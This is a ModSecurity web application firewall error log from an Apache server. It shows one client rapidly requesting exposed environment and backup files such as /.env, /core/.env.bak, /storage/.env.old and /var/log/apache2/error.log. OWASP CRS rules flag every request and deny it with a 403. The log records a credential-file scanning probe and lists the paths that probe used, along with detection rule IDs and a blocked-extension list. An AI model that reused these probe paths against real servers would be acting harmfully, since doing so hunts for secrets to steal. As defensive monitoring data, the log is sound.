[Sun Nov 30 15:24:52.029450 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.old&quot;] [unique_id &quot;aSxTtC6tRBnriPIR7Vg5YgAAAAw&quot;]
[Sun Nov 30 15:24:52.029654 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.old&quot;] [unique_id &quot;aSxTtC6tRBnriPIR7Vg5YgAAAAw&quot;]
[Sun Nov 30 15:24:52.029858 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.old&quot;] [unique_id &quot;aSxTtC6tRBnriPIR7Vg5YgAAAAw&quot;]
[Sun Nov 30 15:24:52.254913 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.bak&quot;] [unique_id &quot;aSxTtC6tRBnriPIR7Vg5YwAAAAw&quot;]
[Sun Nov 30 15:24:52.255081 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.bak&quot;] [unique_id &quot;aSxTtC6tRBnriPIR7Vg5YwAAAAw&quot;]
[Sun Nov 30 15:24:52.255300 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.bak&quot;] [unique_id &quot;aSxTtC6tRBnriPIR7Vg5YwAAAAw&quot;]
[Sun Nov 30 15:24:52.255516 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.bak&quot;] [unique_id &quot;aSxTtC6tRBnriPIR7Vg5YwAAAAw&quot;]
[Sun Nov 30 15:24:52.482917 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/apache2/error.log&quot;] [unique_id &quot;aSxTtC6tRBnriPIR7Vg5ZAAAAAw&quot;]
[Sun Nov 30 15:24:52.483268 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/apache2/error.log&quot;] [unique_id &quot;aSxTtC6tRBnriPIR7Vg5ZAAAAAw&quot;]
[Sun Nov 30 15:24:52.483476 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/apache2/error.log&quot;] [unique_id &quot;aSxTtC6tRBnriPIR7Vg5ZAAAAAw&quot;]
[Sun Nov 30 15:24:53.184794 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /includes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aSxTtS6tRBnriPIR7Vg5ZwAAAAw&quot;]
[Sun Nov 30 15:24:53.185043 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aSxTtS6tRBnriPIR7Vg5ZwAAAAw&quot;]
[Sun Nov 30 15:24:53.185275 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aSxTtS6tRBnriPIR7Vg5ZwAAAAw&quot;]
[Sun Nov 30 15:24:53.413119 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app/.env&quot;] [unique_id &quot;aSxTtS6tRBnriPIR7Vg5aAAAAAw&quot;]
[Sun Nov 30 15:24:53.413339 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app/.env&quot;] [unique_id &quot;aSxTtS6tRBnriPIR7Vg5aAAAAAw&quot;]
[Sun Nov 30 15:24:53.413539 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app/.env&quot;] [unique_id &quot;aSxTtS6tRBnriPIR7Vg5aAAAAAw&quot;]
[Sun Nov 30 15:24:53.877288 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /saas/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/saas/.env&quot;] [unique_id &quot;aSxTtS6tRBnriPIR7Vg5agAAAAw&quot;]
[Sun Nov 30 15:24:53.877516 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/saas/.env&quot;] [unique_id &quot;aSxTtS6tRBnriPIR7Vg5agAAAAw&quot;]
[Sun Nov 30 15:24:53.877739 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/saas/.env&quot;] [unique_id &quot;aSxTtS6tRBnriPIR7Vg5agAAAAw&quot;]
[Sun Nov 30 15:24:54.327651 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aSxTti6tRBnriPIR7Vg5bAAAAAw&quot;]
[Sun Nov 30 15:24:54.327882 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aSxTti6tRBnriPIR7Vg5bAAAAAw&quot;]
[Sun Nov 30 15:24:54.328142 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aSxTti6tRBnriPIR7Vg5bAAAAAw&quot;]
[Sun Nov 30 15:24:54.778875 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.save&quot;] [unique_id &quot;aSxTti6tRBnriPIR7Vg5bgAAAAw&quot;]
[Sun Nov 30 15:24:54.779125 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.save&quot;] [unique_id &quot;aSxTti6tRBnriPIR7Vg5bgAAAAw&quot;]
[Sun Nov 30 15:24:54.779348 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.save&quot;] [unique_id &quot;aSxTti6tRBnriPIR7Vg5bgAAAAw&quot;]
[Sun Nov 30 15:24:55.004697 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aSxTty6tRBnriPIR7Vg5bwAAAAw&quot;]
[Sun Nov 30 15:24:55.004914 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aSxTty6tRBnriPIR7Vg5bwAAAAw&quot;]
[Sun Nov 30 15:24:55.005120 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aSxTty6tRBnriPIR7Vg5bwAAAAw&quot;]
[Sun Nov 30 15:24:55.231030 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.bak&quot;] [unique_id &quot;aSxTty6tRBnriPIR7Vg5cAAAAAw&quot;]
[Sun Nov 30 15:24:55.231222 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.bak&quot;] [unique_id &quot;aSxTty6tRBnriPIR7Vg5cAAAAAw&quot;]
[Sun Nov 30 15:24:55.231441 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.bak&quot;] [unique_id &quot;aSxTty6tRBnriPIR7Vg5cAAAAAw&quot;]
